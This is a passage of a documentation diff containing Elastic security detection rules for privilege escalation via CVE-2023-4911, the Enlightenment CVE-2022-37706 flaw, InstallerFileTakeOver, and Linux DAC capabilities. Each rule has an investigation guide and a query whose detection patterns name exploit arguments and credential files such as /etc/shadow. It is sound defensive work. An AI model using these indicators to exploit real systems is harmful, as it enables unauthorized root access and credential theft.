guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via CVE-2023-4911* + + +CVE-2023-4911 exploits a buffer overflow in the GNU C Library's dynamic loader, specifically targeting the GLIBC_TUNABLES environment variable. Adversaries can manipulate this to gain elevated privileges on Linux systems. The detection rule identifies suspicious activity by monitoring processes with specific environment variables, flagging repeated execution attempts within a short timeframe, indicating potential exploitation efforts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host.id and process.parent.entity_id associated with the suspicious activity. +- Examine the process.executable path to determine if it is a legitimate application or potentially malicious. +- Check the process.env_vars for any unusual or unexpected GLIBC_TUNABLES values that could indicate manipulation attempts. +- Investigate the host's recent process execution history to identify any patterns or anomalies, focusing on processes with the GLIBC_TUNABLES environment variable set. +- Correlate the alert with other security events or logs from the same host to identify any additional indicators of compromise or related suspicious activities. +- Assess the system for any signs of privilege escalation or unauthorized access, such as new user accounts or changes in user privileges. + + +*False positive analysis* + + +- Frequent legitimate use of GLIBC_TUNABLES environment variable by system administrators or automated scripts can trigger false positives. Users should identify and whitelist these known benign processes to prevent unnecessary alerts. +- Some Linux distributions or specific applications may use GLIBC_TUNABLES for performance tuning or compatibility reasons. Review and document these cases, and create exceptions for these processes to avoid false alarms. +- Development environments where GLIBC_TUNABLES is used for testing purposes might also cause false positives. Implement a policy to exclude these environments from monitoring or adjust the rule to account for these specific use cases. +- Scheduled tasks or cron jobs that utilize GLIBC_TUNABLES for legitimate purposes can be mistaken for exploitation attempts. Ensure these tasks are recognized and excluded from the rule's scope to reduce noise. +- If a particular user or group frequently triggers the rule due to their role or activities, consider creating a user-based exception to minimize false positives while maintaining security oversight. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate any suspicious processes identified with the GLIBC_TUNABLES environment variable to halt ongoing exploitation attempts. +- Apply the latest security patches and updates to the GNU C Library on all affected systems to remediate the buffer overflow vulnerability. +- Conduct a thorough review of system logs and process execution history to identify any unauthorized changes or additional indicators of compromise. +- Restore affected systems from a known good backup taken before the exploitation attempt, ensuring that the backup is free from any malicious modifications. +- Implement enhanced monitoring and alerting for unusual process executions and environment variable manipulations to detect similar threats in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For this rule the linux.advanced.capture_env_vars variable should be set to "GLIBC_TUNABLES". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id, process.executable with maxspan=5s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.env_vars : "*GLIBC_TUNABLES=glibc.*=glibc.*=*"] with runs=5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-enlightenment.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-enlightenment.asciidoc new file mode 100644 index 0000000000..db4305bc7b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-enlightenment.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-enlightenment]] +=== Potential Privilege Escalation via Enlightenment + +Identifies an attempt to exploit a local privilege escalation CVE-2022-37706 via a flaw in Linux window manager package Enlightenment. enlightenment_sys in Enlightenment before 0.25.4 allows local users to gain privileges because it is setuid root, and the system library function mishandles pathnames that begin with a /dev/.. substring. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://ubuntu.com/security/CVE-2022-37706 +* https://www.exploit-db.com/exploits/51180 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2022-37706 + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Enlightenment* + + +Enlightenment, a Linux window manager, can be exploited for privilege escalation due to a flaw in its setuid root configuration. Attackers may exploit this by manipulating pathnames, gaining unauthorized root access. The detection rule identifies suspicious execution of 'enlightenment_sys' with specific arguments and subsequent UID changes to root, flagging potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the process "enlightenment_sys" with the specified arguments ("/bin/mount/", "-o", "noexec", "nosuid", "nodev", "uid=*") on a Linux host. +- Check the process execution timeline to verify if the suspicious "enlightenment_sys" execution was followed by a UID change to root (user.id == "0") within a 5-second window. +- Investigate the host.id and process.parent.entity_id to identify the parent process and determine if it was initiated by a legitimate user or service. +- Examine the system logs around the time of the alert to identify any other unusual activities or related processes that might indicate a broader attack or exploitation attempt. +- Assess the affected system for any unauthorized changes or signs of compromise, focusing on privilege escalation indicators and potential persistence mechanisms. +- Review user access logs and permissions to determine if the user associated with the process had legitimate reasons to execute "enlightenment_sys" with elevated privileges. +- Consider isolating the affected system to prevent further exploitation and begin remediation steps, such as applying patches or configuration changes to mitigate the vulnerability. + + +*False positive analysis* + + +- Legitimate administrative tasks using enlightenment_sys may trigger the rule. Review the context of the execution, such as the user and the specific arguments used, to determine if the activity is authorized. +- Automated scripts or system maintenance processes that involve enlightenment_sys with similar arguments might be flagged. Identify these scripts and consider excluding them by specifying their process hashes or paths in the detection rule. +- System updates or package installations that temporarily change UID to root could be misinterpreted as exploitation attempts. Monitor these activities and whitelist known update processes to prevent false alerts. +- Custom user applications that interact with enlightenment_sys for legitimate purposes may cause false positives. Evaluate these applications and, if deemed safe, add them to an exception list based on their unique identifiers. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes related to 'enlightenment_sys' that are running with elevated privileges to stop ongoing exploitation. +- Conduct a thorough review of system logs to identify any unauthorized changes or access patterns, focusing on UID changes to root. +- Revoke any unauthorized access or privileges granted during the exploitation, ensuring that only legitimate users have root access. +- Apply the latest security patches and updates to the Enlightenment package, specifically upgrading to version 0.25.4 or later to mitigate the vulnerability. +- Implement file integrity monitoring to detect unauthorized changes to critical system files and configurations in the future. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id with maxspan=5s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name == "enlightenment_sys" and process.args in ("/bin/mount/", "-o","noexec","nosuid","nodev","uid=*") ] + [process where host.os.type == "linux" and event.action == "uid_change" and event.type == "change" and user.id == "0"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-installerfiletakeover.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-installerfiletakeover.asciidoc new file mode 100644 index 0000000000..bc87f3633a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-installerfiletakeover.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-installerfiletakeover]] +=== Potential Privilege Escalation via InstallerFileTakeOver + +Identifies a potential exploitation of InstallerTakeOver (CVE-2021-41379) default PoC execution. Successful exploitation allows an unprivileged user to escalate privileges to SYSTEM. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/klinix5/InstallerFileTakeOver + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Vuln: CVE-2021-41379 + +*Version*: 117 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Privilege Escalation via InstallerFileTakeOver* + + + +*Possible investigation steps* + + +- Which alert path fired: a suspect service binary or a service-spawned child? + - Focus: alert-local `process.name`, `process.executable`, `process.command_line`, `process.parent.executable`, and `process.Ext.token.integrity_level_name`. + - Implication: escalate when SYSTEM "elevation_service.exe" runs outside "%ProgramFiles% or %ProgramFiles(x86)%\Microsoft\Edge\Application\\elevation_service.exe" or starts "cmd.exe", "powershell.exe", or "rundll32.exe"; lower suspicion only for a genuine Edge service start with no shell child. +- Is the elevation service binary genuine Microsoft content? + - Focus: compare service `process.executable`, `process.pe.original_file_name`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`; for child alerts, recover the parent service start on `host.id` with `process.parent.entity_id` and compare those fields there. + - Hint: if a child alert lacks parent hash or signer details, recover the parent service process start with entity or PID fallback. !{investigate{"description":"","label":"Parent elevation service process start","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.parent.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when original filename is not "elevation_service.exe", signer is not Microsoft, trust fails, or the same hash appears from a user-writable path; lower suspicion only when path, filename, signer, trust, and hash history fit the expected Microsoft Edge service. +- Does lineage show Windows Installer takeover rather than normal Edge servicing? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.parent.code_signature.subject_name`, `process.parent.code_signature.trusted`, and broader process lineage when needed. + - Implication: escalate when an MSI, temp, or user-session chain leads to the SYSTEM service or shell; lower suspicion when Microsoft-signed Edge installer or updater lineage starts the genuine service with servicing arguments and no shell. +- Do recovered file events show service overwrite or PoC staging artifacts? + - Focus: if file telemetry exists, open host-scoped file events, then filter to the recovered service or child `process.entity_id`; if entity IDs are absent, use `host.id` plus service `process.pid` or `process.parent.pid` and the alert window. Review `file.path`, `file.Ext.original.path`, and writing `process.executable`. !{investigate{"description":"","label":"File events on this host near the alert","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Range: start 30 minutes before the alert because MSI administrative-install staging can precede service execution. + - Implication: escalate when the Edge service path is overwritten or PoC artifacts such as the "microsoft plz" temp folder, temp MSI, or "elevation_service.exe" file creation cluster around the alert; treat those names as corroborators, not required evidence. Missing file telemetry is unresolved, not benign. + - Hint: modified variants may omit PoC names; keep this centered on service replacement and MSI staging when names differ. +- What did the SYSTEM service or spawned child do next? + - Focus: descendant process starts on the same `host.id` from `process.entity_id` or `process.parent.entity_id`, especially `process.name`, `process.command_line`, and `process.Ext.token.integrity_level_name`. !{investigate{"description":"","label":"Child process starts from the alert process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when SYSTEM context launches credential-access, persistence, payload staging, or remote-execution tooling; keep scope near the privilege-escalation event only when the service or shell produces no follow-on SYSTEM activity. +- If local findings remain suspicious or unresolved, do related alerts show broader exploitation? + - Focus: related alerts for the same `host.id` in the last 48 hours, especially service tampering, suspicious MSI, credential access, or follow-on execution. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare `user.id` only when it identifies a non-SYSTEM actor; otherwise keep broadened review host-scoped and use lineage to avoid over-attributing the operator. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when the same host or user shows privilege-escalation or post-exploitation alerts; quiet related-alert review does not close unresolved local evidence. +- Escalate on identity mismatch, MSI/user lineage, service overwrite, SYSTEM shell, or follow-on activity; close only when all evidence fits genuine Microsoft Edge service identity with no shell behavior or verified validation/detonation; preserve artifacts and escalate when evidence is mixed or telemetry is missing. + + +*False positive analysis* + + +- Authorized exploit validation, red-team work, detection-content testing, malware research, or incident-response detonation can trigger this rule on lab or disposable analysis hosts. Confirm `process.hash.sha256`, service `process.executable`, parent `process.parent.executable`, child `process.command_line`, recovered temp-artifact pattern, and bounded `host.id` cohort match the same test kit or analysis-host cohort. If change, test, or sandbox records are unavailable, require the same telemetry pattern across prior alerts from this rule before closing as benign. +- Before creating an exception, keep `process.hash.sha256`, `process.executable`, `process.parent.executable`, child `process.command_line`, `host.id`, and the recovered temp-artifact pattern stable across prior alerts from this rule. Avoid exceptions on `process.name`, `process.parent.name`, or "elevation_service.exe" alone because those values overlap real service abuse. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the validation or analysis workflow that matched the alert, including the stable `process.hash.sha256`, service `process.executable`, parent `process.parent.executable`, child `process.command_line`, recovered artifact pattern, and bounded `host.id` cohort. Create an exception only after the same pattern recurs across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the case export, process tree with service and child entity IDs, service binary and hash identity, spawned-shell command line, and recovered service-overwrite or temp-artifact timeline before containment or cleanup. Apply reversible containment first, such as heightened monitoring or host isolation when the asset role permits it; terminate the spawned shell only after capture, and escalate to isolation if follow-on SYSTEM activity or spread appears. +- If confirmed malicious, use the preserved identity, lineage, artifact, and follow-on evidence to isolate the endpoint or escalate to the team that can contain it. Before replacing or deleting files, collect the overwritten service binary, temp MSI or recovered PoC artifacts, and spawned-shell timeline. Review related hosts and users for the same hash or service-path pattern, then restore the genuine Edge elevation service binary and remove only attacker payloads, persistence, or configuration changes identified during scoping. +- Post-incident hardening: verify Windows Installer and Edge components are patched, restrict unnecessary MSI administrative-install paths where possible, retain process and file telemetry long enough to reconstruct service replacement, and record the service-path, temp-artifact, and child-shell pattern for future response. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.Ext.token.integrity_level_name : "System" and + ( + (process.name : "elevation_service.exe" and + not process.pe.original_file_name == "elevation_service.exe") or + + (process.name : "elevation_service.exe" and + not process.code_signature.trusted == true) or + + (process.parent.name : "elevation_service.exe" and + process.name : ("rundll32.exe", "cmd.exe", "powershell.exe")) + ) and + not + ( + process.name : "elevation_service.exe" and process.code_signature.trusted == true and + process.pe.original_file_name == null + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-linux-dac-permissions.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-linux-dac-permissions.asciidoc new file mode 100644 index 0000000000..7bed67c941 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-linux-dac-permissions.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-linux-dac-permissions]] +=== Potential Privilege Escalation via Linux DAC permissions + +Identifies potential privilege escalation exploitation of DAC (Discretionary access control) file permissions. The rule identifies exploitation of DAC checks on sensitive file paths via suspicious processes whose capabilities include CAP_DAC_OVERRIDE (where a process can bypass all read write and execution checks) or CAP_DAC_READ_SEARCH (where a process can read any file or perform any executable permission on the directories). + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Linux DAC permissions* + + +Linux Discretionary Access Control (DAC) allows file owners to set permissions, potentially leading to privilege escalation if misconfigured. Adversaries exploit DAC by using processes with capabilities like CAP_DAC_OVERRIDE to bypass permission checks. The detection rule identifies suspicious processes accessing sensitive files, excluding benign activities, to flag potential misuse of DAC permissions. + + +*Possible investigation steps* + + +- Review the process command line to identify the specific command executed and determine if it involves sensitive files like sudoers, passwd, shadow, or directories under /root/. +- Check the user ID associated with the process to verify if it is a non-root user attempting to access or modify sensitive files. +- Investigate the process name and executable path to ensure it is not part of the excluded benign processes or paths, such as tar, getent, or /usr/lib/*/lxc/rootfs/*. +- Analyze the parent process name to determine if it is a known benign parent like dpkg or gnome-shell, which might indicate a legitimate operation. +- Examine the process thread capabilities, specifically CAP_DAC_OVERRIDE or CAP_DAC_READ_SEARCH, to understand the level of access the process has and assess if it aligns with expected behavior for the user or application. +- Correlate the event with other logs or alerts to identify any patterns or sequences of activities that might indicate a broader attack or misconfiguration issue. + + +*False positive analysis* + + +- Processes like "tar", "getent", "su", and others listed in the rule are known to perform legitimate operations on sensitive files. Exclude these processes from triggering alerts by adding them to the exception list in the detection rule. +- System management tools such as "dpkg" and "podman" may access sensitive files during routine operations. Consider excluding these tools if they are part of regular system maintenance activities. +- Processes running under user ID "0" (root) are often legitimate and necessary for system operations. Ensure that these are excluded from alerts to avoid unnecessary noise. +- Executables located in paths like /usr/lib/*/lxc/rootfs/* are typically part of containerized environments and may not pose a threat. Exclude these paths if they are part of your standard infrastructure. +- Parent processes such as "java" or those with names ending in "postinst" may be involved in legitimate software installations or updates. Review and exclude these if they are part of expected system behavior. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, especially those with CAP_DAC_OVERRIDE or CAP_DAC_READ_SEARCH capabilities accessing sensitive files. +- Conduct a thorough review of the affected system's user accounts and permissions to identify and revoke any unauthorized privilege escalations. +- Restore any modified or compromised sensitive files, such as /etc/passwd or /etc/shadow, from a known good backup. +- Implement additional monitoring on the affected system to detect any further attempts at privilege escalation or unauthorized access. +- Escalate the incident to the security operations team for a comprehensive investigation to determine the root cause and potential impact. +- Apply security patches and updates to the affected system to mitigate any known vulnerabilities that could be exploited for privilege escalation. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and +(process.thread.capabilities.permitted:CAP_DAC_* or process.thread.capabilities.effective: CAP_DAC_*) and +process.command_line:(*/etc/sudoers* or */etc/passwd* or */etc/shadow* or */root/.ssh/* or /home/*/.ssh/*) and not ( + user.id : "0" or + process.name : ( + "tar" or "getent" or "su" or "stat" or "dirname" or "chown" or "sudo" or "dpkg-split" or "dpkg-deb" or "dpkg" or + "podman" or "awk" or "passwd" or "dpkg-maintscript-helper" or "mutt_dotlock" or "nscd" or "logger" or "gpasswd" + ) or + process.executable : /usr/lib/*/lxc/rootfs/* or + process.parent.name : ( + "dpkg" or "java" or *postinst or "dpkg-preconfigure" or "gnome-shell" + ) or + process.parent.executable:( + "/opt/microsoft/mdatp/sbin/wdavdaemon" or "/usr/bin/podman" or "/bin/podman" or + /var/lib/awx/.local/share/containers/storage/overlay/* or ./merged/var/lib/awx/.local/share/containers/storage/overlay/* or + "/var/ossec/bin/wazuh-modulesd" or /home/*/.local/share/containers/storage/overlay/* or /snap/* or /dev/fd/* or /tmp/newroot/* or + "/usr/bin/google_guest_agent" or /var/lib/docker/overlay2/* or /var/lib/containers/* or "/usr/bin/gcc" or "/usr/bin/make" or "/usr/bin/ninja" + ) or + process.parent.command_line:(*ansible* or "runc init") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: 